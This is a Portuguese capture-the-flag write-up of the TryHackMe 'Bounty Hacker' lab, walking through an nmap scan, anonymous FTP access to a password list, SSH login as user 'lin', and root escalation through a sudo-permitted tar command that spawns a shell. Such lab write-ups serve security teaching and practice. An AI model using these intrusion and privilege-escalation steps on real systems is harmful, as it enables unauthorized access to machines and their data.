

Write-Up de Segurança Ofensiva

Desafio: Bounty Hacker

Plataforma: Try Hack Me

Autor: Lurian Lima

Data de Resolução: October 2, 2026

Contents

1	Visão Geral	2
2	Reconhecimento	2
3	Exploração	3
4	Escalada de Privilégios	4
5	Conclusão	5
6	Referências	5

1 Visão Geral

O desafio Bounty Hacker consiste em avaliar uma máquina Linux exposta na rede e identificar uma cadeia de exploração a partir dos serviços disponíveis. A enumeração inicial revelou serviços FTP, SSH e HTTP, com acesso anônimo habilitado no FTP. A partir dos arquivos disponibilizados nesse serviço, foi possível identificar informações que levaram ao acesso SSH como o usuário *lin*. Após obter acesso ao sistema, a análise das permissões de sudo revelou que o binário *tar* podia ser executado com privilégios de root, permitindo a escalada de privilégios e a obtenção da flag final.

2 Reconhecimento

O primeiro passo é rodar o nmap:

```
nmap -sC -sV -T4 -p- <ip>
```

Listing 1: Explorando o ip com nmap

As opções utilizadas no comando significam:

- `-sC`: executa os scripts padrão do Nmap para obter informações adicionais sobre os serviços.
- `-sV`: identifica as versões dos serviços encontrados nas portas abertas.
- `-T4`: utiliza um perfil de varredura mais rápido, adequado para redes estáveis.

```
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:192.168.129.184
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 dd:4c:d0:15:5c:8d:04:2d:bd:2b:f5:a1:06:29:a4 (RSA)
|   256 1f:d6:99:6d:c0:b4:a7:d2:98:64:84:da:1b:99:4c:ad (ECDSA)
|_  256 89:a0:66:6d:79:f4:b2:d0:af:68:21:0a:69:65:92:34 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

```
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Listing 2: Resultado do nmap

O resultado revela três serviços acessíveis: FTP na porta 21, SSH na porta 22 e HTTP na porta 80, todos executados em um sistema Linux. O serviço FTP utiliza o vsftpd 3.0.5 e permite login anônimo, o que representa o principal ponto de interesse da enumeração, embora a listagem de diretórios tenha sido bloqueada por uma falha na conexão passiva. Na porta 80, o Apache 2.4.41 responde, mas a ausência de um título indica que ainda é necessário realizar uma enumeração mais detalhada do conteúdo web. As portas restantes aparecem filtradas ou fechadas, reduzindo a superfície de ataque inicialmente disponível.

3 Exploração

Após indentificarmos o servidor ftp, é possível acessá-lo via login anônimo.

```
lurian@Aspire-A515-57:~/Projects/OffSec/env$ ftp 10.65.190.64
Connected to 10.65.190.64.
220 (vsFTPd 3.0.5)
Name (10.65.190.64:lurian): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Figure 1: Logando no servidor ftp como anonymous.

Em seguida, podemos fazer um *ls* para ver os arquivos existentes no server:

```
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
```

Listing 3: resultado da listagem de arquivos no servidor

Desse modo, podemos baixar os arquivos *locks.txt* e *task.txt*. Uma amostra do conteúdo de cada arquivo segue listado abaixo:

```
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSyndIC@Te
ReddRA60N
R3dDrag0nSyndlc4te
dRa6oN5YNDiCATE
...
```

Listing 4: conteúdo do arquivo *locks.txt*

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Listing 5: conteúdo do arquivo *task.txt*

É bem provável que o arquivo *locks.txt* seja uma lista de senhas de usuários. Portanto, o próximo passo é tentar logar como o *lin* usando uma das senhas.

Testando as senhas manualmente, é possível logar como *lin* com a senha *RedDr4gonSynd1cat3*

```
lurian@Aspire-A515-57:~/Projects/OffSec/env$ ssh lin@10.65.190.64
lin@10.65.190.64's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Aug 11 12:32:35 2025 from 10.23.8.228
lin@ip-10-65-190-64:~/Desktop$
```

Figure 2: Logando como *lin* no servidor ssh.

Ao fazer o login, é encontrado o arquivo *user.txt*, que contém a primeira flag.

4 Escalada de Privilégios

É possível verificar os privilégios do usuário da seguinte forma:

```
lin@ip-10-65-190-64:~/Desktop$ sudo -l
Matching Defaults entries for lin on ip-10-65-190-64:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-65-190-64:
  (root) /bin/tar
lin@ip-10-65-190-64:~/Desktop$
```

Figure 3: Verificando os privilégios do usuário.

É possível ver que o usuário consegue executar */bin/tar* com os privilégios de root. No GTFOBins, podemos encontrar um comando com esse binário que escalar privilégios ¹.

Shell

This executable can spawn an interactive system shell.

(a) Unprivileged Sudo SUID

This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`.

```
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Figure 4: Comando usando o binário *tar* para escalar privilégios.

¹<https://gtfobins.org/gtfobins/tar/>

Por fim, basta acessar a pasta root, onde estará a última flag.

5 Conclusão

A exploração começou com a enumeração das portas e serviços, que identificou o FTP com login anônimo habilitado. Os arquivos *locks.txt* e *task.txt* forneceram uma lista de senhas e a indicação do usuário *lin*, possibilitando o acesso via SSH e a obtenção da flag de usuário. Em seguida, a consulta às permissões de sudo mostrou que o binário *tar* podia ser executado como root. Utilizando essa configuração junto à técnica documentada no GTFOBins, foi possível elevar os privilégios e acessar a flag de root.

6 Referências

- GTFOBins — execução privilegiada do binário *tar*: <https://gtfobins.org/gtfobins/tar/>
- Nmap Reference Guide — documentação oficial do Nmap: <https://nmap.org/book/man.html>
- RFC 959 — protocolo FTP (File Transfer Protocol): <https://www.rfc-editor.org/rfc/rfc959>